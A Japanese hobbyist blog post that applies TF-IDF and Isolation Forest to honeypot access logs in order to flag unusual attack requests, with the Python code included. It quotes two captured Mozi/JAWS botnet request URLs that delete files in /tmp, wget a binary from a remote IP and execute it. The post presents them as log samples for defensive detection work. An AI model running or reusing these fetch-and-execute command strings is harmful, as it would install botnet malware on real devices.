#11 Anomaly Detection
第11週。
またハニーポットが止まりました。今度は容量不足です。100GBのサーバーを借りてるのですが、Dionaeaに90GB持って行かれました。運用を始めて1ヶ月ちょっとですが、想定以上にログがたまっていて、解析が間に合いません。
こっちは遊びでやっているので大丈夫ですが、実際にサービスを運用していて、脅威分析などセキュリティ対応が必要となる場合もあります。この量の情報は人手ではさばけないでしょう。近頃は、機械学習を使った異常検知など実用化され、サイバー攻撃の早期検出に役立っていると聞きます。せっかくログがたくさんあるので、やってみましょう。
目標
大量のログを機械学習でさばく
ハニーポットの性質上、攻撃データが9割以上という偏ったデータセットとなっています。その他のデータを集める時間もないので、これでいきます。なにかおもしろいことができそうな気がしますが、思いつかないので、とりあえず動かしてみます。
環境
Python 3.8.2
scikit-learn 1.0.2方針
ラベリングする時間がないので、教師なし学習で異常検知ができるIsoration Forestというアルゴリズムを使ってみます。
//wowhoneypot access_log
[2022-02-01 00:40:16+0900] xx.xx.xx.xx xx.xx.xx.xx:80 "GET /.env HTTP/1.1" 200 False R0VUIC8uZW52...<base64 request>
[2022-02-01 00:40:16+0900] xx.xx.xx.xx xx.xx.xx.xx:80 "POST / HTTP/1.1" 200 False UE9TVCAvIEh...<base64 request>こんな感じでアクセスログが残っています。普通のアクセスログとちがって、リクエストの全容がbase64で記録されているため、捗ります。
リクエストURLに着目して、普通の攻撃とはちがった趣向のものを検出します。ざっとログを見渡すと、似たようなアクセスがたくさん来ているのですが、いろいろ試行錯誤して攻撃の糸口を探しているようなときは、
"GET /shell?cd+/tmp;rm+-rf+*;wget+http://xx.xx.xx.xx:34146/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jawsこのような際立ったURLになると考えられます。機械的な物量攻撃よりもこちらの方がよほど危ない感じがします。N-gram x tf-idfを使ってURL文字列をベクトル化し、Isoration Forestで外れ値を検出するという方針でいきます。
作業
まず、Python環境を整えます。
$ pyenv install 3.8.2
$ pyenv global 3.8.2
$ pip install --upgrade pip
$ pip install numpy pandas scikit-learnあとは、ログファイルからURL文字列を抽出してベクトル化し、学習させるだけです。
#main.py
import glob
from formatter import Formatter
from classifier import Classifier
def main():
fm = Formatter()
#ファイル読み込み。整形して一時ファイルに書き込んでいる
files = glob.glob("./data/row/*")
for file in files:
fm.write(file)
#一時ファイルを読み込んで配列にする
data = fm.read()
clf = Classifier()
#ベクトル化して学習
clf.train(data)
#結果を表示
pred = clf.predict(data)
for z in zip(data, pred):
print(z)
if __name__ == "__main__":
main()#formatter.py
import re
class Formatter:
#ログから必要な情報を抽出して一時ファイルに書き込む
def __init__(self):
''' file to write '''
self.write_path = "./data/formatted.txt"
''' columns to pick '''
self.columns = [4, 5, 9] # method, path, request
''' characters to remove '''
self.remove = '[]"'
''' delimiter of file'''
self.delimiter = " "
''' newline '''
self.newline = "\n"
def log2array(self, path):
with open(path) as f:
data = f.read()
data = re.sub('[\[\]\"]', "", data)
lines = data.split(self.newline)
lines = lines[:-1]
separated = [l.split(" ") for l in lines]
return separated
def filter(self, line):
if line[5] == "/":
return False
return True
def format(self, log_array):
res = []
for l in log_array:
if self.filter(l):
f = [l[i] for i in self.columns]
res.append(f)
return res
def write(self, path):
arr = self.format(self.log2array(path))
text = ""
for l in arr:
str = self.delimiter.join(l) + self.newline
text += str
print("begin to write a file")
with open(self.write_path, 'a') as f:
f.write(text)
print("done")
def read(self):
data = self.log2array(self.write_path)
return data#classifier.py
import numpy as np
import pandas as pd
import pickle
from sklearn.ensemble import IsolationForest
from sklearn.feature_extraction.text import TfidfVectorizer
class Classifier:
#データのベクトル化・分類器の学習・予測
def __init__(self):
self.clf = IsolationForest()
self.row = 1
self.dict = dict()
self.limit = 100
def vectorize(self, data):
options = {
"ngram_range" : (1,1),
"analyzer" : "char",
"min_df" : 0.1
}
vec = TfidfVectorizer(**options)
df = pd.DataFrame(data=data)
x = vec.fit_transform(df[self.row])
return x
def train(self, data):
x = self.vectorize(data)
self.clf.fit(x)
def predict(self, data):
x = self.vectorize(data)
pred = self.clf.predict(x)
return pred試行錯誤しながらなので、無駄があるかもしれませんがご容赦ください。
<project dir>/data/row以下にログファイルを置くと、読み込んで学習し結果の表示まで行います。
// [メソッド, URL, Base64リクエスト], 結果
(['GET', '/manager/html', 'R0VUIC9tYW...<base64 request>'], 1)
(['GET', '/shell?cd+/tmp;rm+-rf+*;wget+%20212.192.216.46/bins/arm;chmod+777+/tmp/arm;sh+/tmp/arm+selfrep.jaws', 'R0VUIC9zaGVsbD9...<base64 request>'], -1)結果は1が正常（よくあるパターン）、-1が異常値です。/manager/htmlというアクセスは大量に来ていたので、この結果は期待通りと言えるでしょう。もちろん、検知能力はデータの質に左右されるため、適切にデータクレンジングを行ったり、より多くのデータを集めたりとまだまだできることはありそうですが、とりあえず動くものが作れました。
まとめ
機械学習は、PCスペックも求められるし、ややこしい計算が多いしで、ハードルが高い印象がありました。今回触ってみて、参考書籍やネットの情報も充実しており、またフレームワークも使いやすくなっているような印象を受けました。Google Collabなどのサービスを利用すれば、自分では買えない最強の環境で遊べます。少し工夫をすれば、日々の作業を効率化できるのではないでしょうか。まだまだ使っていないログがあるので、いじくりまわしてみます。
EOF